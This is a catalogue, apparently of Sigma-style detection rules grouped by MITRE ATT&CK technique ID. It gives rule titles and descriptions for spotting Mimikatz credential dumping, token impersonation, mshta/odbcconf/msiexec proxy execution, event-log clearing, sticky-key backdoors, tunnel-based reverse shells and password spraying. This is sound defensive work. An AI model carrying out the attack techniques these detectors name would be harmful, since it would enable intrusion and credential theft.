attack.t1134.001	10	Show Rules (10) HackTool - NoFilter Execution - Level: high Description: Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators Meterpreter or Cobalt Strike Getsystem Service Installation - Security - Level: high Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation Potential Access Token Abuse - Level: medium Description: Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS flag". Meterpreter or Cobalt Strike Getsystem Service Installation - System - Level: high Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation HackTool - Koh Default Named Pipe - Level: critical Description: Detects creation of default named pipes used by the Koh tool HackTool - Impersonate Execution - Level: medium Description: Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively Potential Meterpreter/CobaltStrike Activity - Level: high Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting HackTool - SharpImpersonation Execution - Level: high Description: Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively HackTool - SharpDPAPI Execution - Level: high Description: Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project. Meterpreter or Cobalt Strike Getsystem Service Installation - Level: critical Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation
attack.t1003.005	9	Show Rules (9) Credential Dumping Tools Service Execution - Level: critical Description: Detects well-known credential dumping tools execution via service execution events Credential Dumping Tools Service Execution - Security - Level: high Description: Detects well-known credential dumping tools execution via service execution events Credential Dumping Tools Service Execution - System - Level: high Description: Detects well-known credential dumping tools execution via service execution events Cred Dump Tools Dropped Files - Level: high Description: Files with well-known filenames (parts of credential dump software or files produced by them) creation HackTool - Credential Dumping Tools Named Pipe Created - Level: critical Description: Detects well-known credential dumping tools execution via specific named pipe creation New Generic Credentials Added Via Cmdkey.EXE - Level: medium Description: Detects usage of "cmdkey.exe" to add generic credentials. As an example, this can be used before connecting to an RDP session via command line interface. Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE - Level: high Description: Detects usage of cmdkey to look for cached credentials on the system HackTool - Mimikatz Execution - Level: high Description: Detection well-known mimikatz command line arguments Dumping of Sensitive Hives Via Reg.EXE - Level: high Description: Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.
attack.t1218.008	9	Show Rules (9) Application Whitelisting Bypass via DLL Loaded by odbcconf.exe - Level: medium Description: Detects defence evasion attempt via odbcconf.exe execution to load DLL Driver/DLL Installation Via Odbcconf.EXE - Level: medium Description: Detects execution of "odbcconf" with "INSTALLDRIVER" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs. Suspicious Driver/DLL Installation Via Odbcconf.EXE - Level: high Description: Detects execution of "odbcconf" with the "INSTALLDRIVER" action where the driver doesn't contain a ".dll" extension. This is often used as a defense evasion method. New DLL Registered Via Odbcconf.EXE - Level: medium Description: Detects execution of "odbcconf" with "REGSVR" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs. Odbcconf.EXE Suspicious DLL Location - Level: high Description: Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location. Potentially Suspicious DLL Registered Via Odbcconf.EXE - Level: high Description: Detects execution of "odbcconf" with the "REGSVR" action where the DLL in question doesn't contain a ".dll" extension. Which is often used as a method to evade defenses. Response File Execution Via Odbcconf.EXE - Level: medium Description: Detects execution of "odbcconf" with the "-f" flag in order to load a response file which might contain a malicious action. Suspicious Response File Execution Via Odbcconf.EXE - Level: high Description: Detects execution of "odbcconf" with the "-f" flag in order to load a response file with a non-".rsp" extension. Uncommon Child Process Spawned By Odbcconf.EXE - Level: medium Description: Detects an uncommon child process of "odbcconf.exe" binary which normally shouldn't have any child processes.
attack.t1218.005	9	Show Rules (9) Possible Applocker Bypass - Level: low Description: Detects execution of executables that can be used to bypass Applocker whitelisting HackTool - CACTUSTORCH Remote Thread Creation - Level: high Description: Detects remote thread creation from CACTUSTORCH as described in references. Csc.EXE Execution Form Potentially Suspicious Parent - Level: high Description: Detects a potentially suspicious parent of "csc.exe", which could be a sign of payload delivery. Remotely Hosted HTA File Executed Via Mshta.EXE - Level: high Description: Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file Suspicious JavaScript Execution Via Mshta.EXE - Level: high Description: Detects execution of javascript code using "mshta.exe". Potential LethalHTA Technique Execution - Level: high Description: Detects potential LethalHTA technique where the "mshta.exe" is spawned by an "svchost.exe" process Suspicious MSHTA Child Process - Level: high Description: Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution MSHTA Suspicious Execution 01 - Level: high Description: Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism Potential Baby Shark Malware Activity - Level: high Description: Detects activity that could be related to Baby Shark malware
attack.t1021.006	9	Show Rules (9) OMIGOD HTTP No Authentication RCE - Level: high Description: Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request. Potential Remote PowerShell Session Initiated - Level: high Description: Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection. Remote PowerShell Session (PS Classic) - Level: low Description: Detects remote PowerShell sessions Remote PowerShell Session (PS Module) - Level: high Description: Detects remote PowerShell sessions Enable Windows Remote Management - Level: medium Description: Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. Execute Invoke-command on Remote Host - Level: medium Description: Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. Remote LSASS Process Access Through Windows Remote Management - Level: high Description: Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz. HackTool - WinRM Access Via Evil-WinRM - Level: medium Description: Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Remote PowerShell Session Host Process (WinRM) - Level: medium Description: Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).
attack.t1218.007	9	Show Rules (9) MSI Installation From Web - Level: medium Description: Detects installation of a remote msi file from web. PowerShell WMI Win32_Product Install MSI - Level: medium Description: Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class DllUnregisterServer Function Call Via Msiexec.EXE - Level: medium Description: Detects MsiExec loading a DLL and calling its DllUnregisterServer function Suspicious MsiExec Embedding Parent - Level: medium Description: Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads Suspicious Msiexec Execute Arbitrary DLL - Level: medium Description: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi) Msiexec Quiet Installation - Level: medium Description: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi) Suspicious Msiexec Quiet Install From Remote Location - Level: medium Description: Detects usage of Msiexec.exe to install packages hosted remotely quietly MsiExec Web Install - Level: medium Description: Detects suspicious msiexec process starts with web addresses as parameter Msiexec.EXE Initiated Network Connection Over HTTP - Level: low Description: Detects a network connection initiated by an "Msiexec.exe" process over port 80 or 443. Adversaries might abuse "msiexec.exe" to install and execute remotely hosted packages. Use this rule to hunt for potentially anomalous or suspicious communications.
attack.t1588.002	9	Show Rules (9) Hacktool Execution - Imphash - Level: critical Description: Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed Hacktool Execution - PE Metadata - Level: high Description: Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed Renamed SysInternals DebugView Execution - Level: high Description: Detects suspicious renamed SysInternals DebugView execution Potential Execution of Sysinternals Tools - Level: low Description: Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools PUA - Sysinternal Tool Execution - Registry - Level: low Description: Detects the execution of a Sysinternals Tool via the creation of the "accepteula" registry key Suspicious Execution Of Renamed Sysinternals Tools - Registry - Level: high Description: Detects the creation of the "accepteula" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool) PUA - Sysinternals Tools Execution - Registry - Level: medium Description: Detects the execution of some potentially unwanted tools such as PsExec, Procdump, etc. (part of the Sysinternals suite) via the creation of the "accepteula" registry key. Usage of Renamed Sysinternals Tools - RegistrySet - Level: high Description: Detects non-sysinternals tools setting the "accepteula" key which normally is set on sysinternals tool execution Suspicious Keyboard Layout Load - Level: medium Description: Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only
attack.t1003.006	8	Show Rules (8) Credential Dumping Tools Service Execution - Level: critical Description: Detects well-known credential dumping tools execution via service execution events Mimikatz Use - Level: high Description: This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups) Active Directory Replication from Non Machine Account - Level: critical Description: Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials. Mimikatz DC Sync - Level: high Description: Detects Mimikatz DC sync security events Credential Dumping Tools Service Execution - Security - Level: high Description: Detects well-known credential dumping tools execution via service execution events Credential Dumping Tools Service Execution - System - Level: high Description: Detects well-known credential dumping tools execution via service execution events Suspicious Get-ADReplAccount - Level: medium Description: The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation. HackTool - Mimikatz Execution - Level: high Description: Detection well-known mimikatz command line arguments
attack.t1555.003	8	Show Rules (8) Accessing Encrypted Credentials from Google Chrome Login Database - Level: medium Description: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store. Access to Browser Login Data - Level: medium Description: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store. HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. PUA - WebBrowserPassView Execution - Level: medium Description: Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera SQLite Chromium Profile Data DB Access - Level: high Description: Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing. Potential Browser Data Stealing - Level: medium Description: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store. Access To Browser Credential Files By Uncommon Applications - Security - Level: low Description: Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing This rule requires heavy baselining before usage.
attack.t1070.001	8	Show Rules (8) Security Event Log Cleared - Level: medium Description: Checks for event id 1102 which indicates the security event log was cleared. Security Eventlog Cleared - Level: high Description: One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution Eventlog Cleared - Level: medium Description: One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution Important Windows Eventlog Cleared - Level: high Description: Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution Suspicious Eventlog Clear - Level: medium Description: Detects usage of known powershell cmdlets such as "Clear-EventLog" to clear the Windows event logs Suspicious Windows Trace ETW Session Tamper Via Logman.EXE - Level: high Description: Detects the execution of "logman" utility in order to disable or delete Windows trace sessions Suspicious Eventlog Clearing or Configuration Change Activity - Level: high Description: Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses. NotPetya Ransomware Activity - Level: critical Description: Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil
attack.t1053.002	8	Show Rules (8) Remote Schedule Task Lateral Movement via ATSvc - Level: high Description: Detects remote RPC calls to create or execute a scheduled task via ATSvc Remote Schedule Task Lateral Movement via ITaskSchedulerService - Level: high Description: Detects remote RPC calls to create or execute a scheduled task Remote Schedule Task Lateral Movement via SASec - Level: high Description: Detects remote RPC calls to create or execute a scheduled task via SASec Scheduled Task/Job At - Level: low Description: Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code MITRE BZAR Indicators for Execution - Level: medium Description: Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE Remote Task Creation via ATSVC Named Pipe - Zeek - Level: medium Description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe Remote Task Creation via ATSVC Named Pipe - Level: medium Description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe Interactive AT Job - Level: high Description: Detects an interactive AT job, which may be used as a form of privilege escalation.
attack.t1564.001	8	Show Rules (8) Hidden Files and Directories - Level: low Description: Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character Hiding Files with Attrib.exe - Level: medium Description: Detects usage of attrib.exe to hide files from users. Set Suspicious Files as System Files Using Attrib.EXE - Level: high Description: Detects the usage of attrib with the "+s" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs Use Icacls to Hide File to Everyone - Level: medium Description: Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files Registry Persistence via Service in Safe Mode - Level: high Description: Detects the modification of the registry to allow a driver or service to persist in Safe Mode. Displaying Hidden Files Feature Disabled - Level: medium Description: Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files. This technique is abused by several malware families to hide their files from normal users. PowerShell Logging Disabled Via Registry Key Tampering - Level: high Description: Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging Set Files as System Files Using Attrib.EXE - Level: low Description: Detects the execution of "attrib" with the "+s" flag to mark files as system files
attack.t1518.001	8	Show Rules (8) Security Software Discovery - Linux - Level: low Description: Detects usage of system utilities (only grep and egrep for now) to discover security software discovery System Integrity Protection (SIP) Disabled - Level: medium Description: Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios. System Integrity Protection (SIP) Enumeration - Level: low Description: Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios. Security Software Discovery - MacOs - Level: medium Description: Detects usage of system utilities (only grep for now) to discover security software discovery Security Software Discovery Via Powershell Script - Level: medium Description: Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus Security Tools Keyword Lookup Via Findstr.EXE - Level: medium Description: Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter. Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE - Level: high Description: Detects usage of "findstr" with the argument "385201". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed). Local Firewall Rules Enumeration Via NetFirewallRule Cmdlet - Level: low Description: Detects execution of "Get-NetFirewallRule" or "Show-NetFirewallRule" to enumerate the local firewall rules on a host.
attack.t1059.006	8	Show Rules (8) File Was Not Allowed To Run - Level: medium Description: Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events. Suspicious File Characteristics Due to Missing Fields - Level: medium Description: Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution - Level: medium Description: Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application. Emotet Loader Execution Via .LNK File - Level: high Description: Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign. Serpent Backdoor Payload Execution Via Scheduled Task - Level: high Description: Detects post exploitation execution technique of the Serpent backdoor. According to Proofpoint, one of the commands that the backdoor ran was via creating a temporary scheduled task using an unusual method. It creates a fictitious windows event and a trigger in which once the event is created, it executes the payload. Python Path Configuration File Creation - Linux - Level: medium Description: Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS). Python Path Configuration File Creation - MacOS - Level: medium Description: Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS). Python Path Configuration File Creation - Windows - Level: medium Description: Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS).
attack.t1134.002	8	Show Rules (8) Meterpreter or Cobalt Strike Getsystem Service Installation - Security - Level: high Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation Meterpreter or Cobalt Strike Getsystem Service Installation - System - Level: high Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation Potential Meterpreter/CobaltStrike Activity - Level: high Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting PUA - AdvancedRun Execution - Level: medium Description: Detects the execution of AdvancedRun utility PUA - AdvancedRun Suspicious Execution - Level: high Description: Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts Suspicious Child Process Created as System - Level: high Description: Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts Meterpreter or Cobalt Strike Getsystem Service Installation - Level: critical Description: Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation Detection of Possible Rotten Potato - Level: high Description: Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE privileges
attack.t1110.003	8	Show Rules (8) Password Spraying via Explicit Credentials - Level: medium Description: Detects a single user failing to authenticate to multiple users using explicit credentials. Multiple Users Failing to Authenticate from Single Process - Level: medium Description: Detects failed logins with multiple accounts from a single process on the system. Valid Users Failing to Authenticate From Single Source Using Kerberos - Level: medium Description: Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol. Disabled Users Failing To Authenticate From Source Using Kerberos - Level: medium Description: Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol. Invalid Users Failing To Authenticate From Source Using Kerberos - Level: medium Description: Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol. Valid Users Failing to Authenticate from Single Source Using NTLM - Level: medium Description: Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol. Invalid Users Failing To Authenticate From Single Source Using NTLM - Level: medium Description: Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol. Multiple Users Remotely Failing To Authenticate From Single Source - Level: medium Description: Detects a source system failing to authenticate against a remote host with multiple users.
attack.t1567.001	7	Show Rules (7) Microsoft Binary Github Communication - Level: high Description: Detects an executable in the Windows folder accessing github.com Network Connection Initiated To BTunnels Domains - Level: medium Description: Detects network connections to BTunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine. Network Connection Initiated To Cloudflared Tunnels Domains - Level: medium Description: Detects network connections to Cloudflared tunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine. Network Connection Initiated To DevTunnels Domain - Level: medium Description: Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine. Network Connection Initiated To Mega.nz - Level: low Description: Detects a network connection initiated by a binary to "api.mega.co.nz". Attackers were seen abusing file sharing websites similar to "mega.nz" in order to upload/download additional payloads. Process Initiated Network Connection To Ngrok Domain - Level: high Description: Detects an executable initiating a network connection to "ngrok" domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download. Network Connection Initiated To Visual Studio Code Tunnels Domain - Level: medium Description: Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
attack.t1098.003	7	Show Rules (7) User Added to an Administrator's Azure AD Role - Level: medium Description: User Added to an Administrator's Azure AD Role Granting Of Permissions To An Account - Level: medium Description: Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used. App Granted Privileged Delegated Or App Permissions - Level: high Description: Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions App Assigned To Azure RBAC/Microsoft Entra Role - Level: medium Description: Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner. Google Workspace Application Access Level Modified - Level: medium Description: Detects when an access level is changed for a Google workspace application. An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model. An adversary would be able to remove access levels to gain easier access to Google workspace resources. Github Outside Collaborator Detected - Level: medium Description: Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA. Okta Admin Role Assigned to an User or Group - Level: medium Description: Detects when an the Administrator role is assigned to an user or group.
attack.t1053.003	7	Show Rules (7) Azure Kubernetes CronJob - Level: medium Description: Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. Modifying Crontab - Level: medium Description: Detects suspicious modification of crontab file. Persistence Via Sudoers Files - Level: medium Description: Detects creation of sudoers file or files in "sudoers.d" directory which can be used a potential method to persiste privileges for a specific user. Persistence Via Cron Files - Level: medium Description: Detects creation of cron file or files in Cron directories which could indicates potential persistence. Triple Cross eBPF Rootkit Default Persistence - Level: high Description: Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method Scheduled Cron Task/Job - Linux - Level: medium Description: Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder. Scheduled Cron Task/Job - MacOs - Level: medium Description: Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
attack.t1070.003	7	Show Rules (7) Linux Command History Tampering - Level: high Description: Detects commands that try to clear or tamper with the Linux command history. This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as "bash_history" or "zsh_history". Cisco Clear Logs - Level: high Description: Clear command history in network OS which is used for defense evasion Clear PowerShell History - PowerShell Module - Level: medium Description: Detects keywords that could indicate clearing PowerShell history Clearing Windows Console History - Level: high Description: Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Clear PowerShell History - PowerShell - Level: medium Description: Detects keywords that could indicate clearing PowerShell history Disable Powershell Command History - Level: high Description: Detects scripts or commands that disabled the Powershell command history by removing psreadline module Suspicious IO.FileStream - Level: medium Description: Open a handle on the drive volume via the \\.\ DOS device path specifier and perform direct access read of the first few bytes of the volume.
attack.t1059.002	7	Show Rules (7) MacOS Scripting Interpreter AppleScript - Level: medium Description: Detects execution of AppleScript of the macOS scripting language AppleScript. Clipboard Data Collection Via OSAScript - Level: high Description: Detects possible collection of data from the clipboard via execution of the osascript binary JXA In-memory Execution Via OSAScript - Level: high Description: Detects possible malicious execution of JXA in-memory via OSAScript Suspicious Microsoft Office Child Process - MacOS - Level: high Description: Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution OSACompile Run-Only Execution - Level: high Description: Detects potential suspicious run-only executions compiled using OSACompile Osacompile Execution By Potentially Suspicious Applet/Osascript - Level: medium Description: Detects potential suspicious applet or osascript executing "osacompile". Suspicious Execution via macOS Script Editor - Level: medium Description: Detects when the macOS Script Editor utility spawns an unusual child process.
attack.t1552.004	7	Show Rules (7) Cisco Crypto Commands - Level: high Description: Show when private keys are being exported from the device, or when new certificates are installed DPAPI Backup Keys And Certificate Export Activity IOC - Level: high Description: Detects file names with specific patterns seen generated and used by tools such as Mimikatz and DSInternals related to exported or stolen DPAPI backup keys and certificates. Suspicious PFX File Creation - Level: medium Description: A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file. Certificate Exported Via PowerShell - ScriptBlock - Level: medium Description: Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines. Certificate Exported Via PowerShell - Level: medium Description: Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines. PowerShell Get-Process LSASS - Level: high Description: Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity Private Keys Reconnaissance Via CommandLine Tools - Level: medium Description: Adversaries may search for private key certificate files on compromised systems for insecurely stored credential
attack.t1557.001	7	Show Rules (7) Potential PetitPotam Attack Via EFS RPC Calls - Level: medium Description: Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam. The usage of this RPC function should be rare if ever used at all. Thus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate. View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..' RottenPotato Like Attack Pattern - Level: high Description: Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like Local Privilege Escalation Indicator TabTip - Level: high Description: Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode WinDivert Driver Load - Level: high Description: Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows HackTool - ADCSPwn Execution - Level: high Description: Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service HackTool - Impacket Tools Execution - Level: high Description: Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives) Potential SMB Relay Attack Tool Execution - Level: critical Description: Detects different hacktools used for relay attacks on Windows for privilege escalation
attack.t1218.003	7	Show Rules (7) DLL Loaded From Suspicious Location Via Cmspt.EXE - Level: high Description: Detects cmstp loading "dll" or "ocx" files from suspicious locations Outbound Network Connection Initiated By Cmstp.EXE - Level: high Description: Detects a network connection initiated by Cmstp.EXE Its uncommon for "cmstp.exe" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious. CMSTP Execution Process Access - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution CMSTP Execution Process Creation - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution Bypass UAC via CMSTP - Level: high Description: Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files CMSTP UAC Bypass via COM Object Access - Level: high Description: Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65) CMSTP Execution Registry Event - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution
attack.t1546.008	7	Show Rules (7) Potential Privilege Escalation Using Symlink Between Osk and Cmd - Level: high Description: Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in. Persistence Via Sticky Key Backdoor - Level: critical Description: By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are "activated" the privilleged shell is launched. Sticky Key Like Backdoor Execution - Level: critical Description: Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen Suspicious Debugger Registration Cmdline - Level: high Description: Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor). Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy Potential Windows Defender Tampering Via Wmic.EXE - Level: high Description: Detects potential tampering with Windows Defender settings such as adding exclusion using wmic Sticky Key Like Backdoor Usage - Registry - 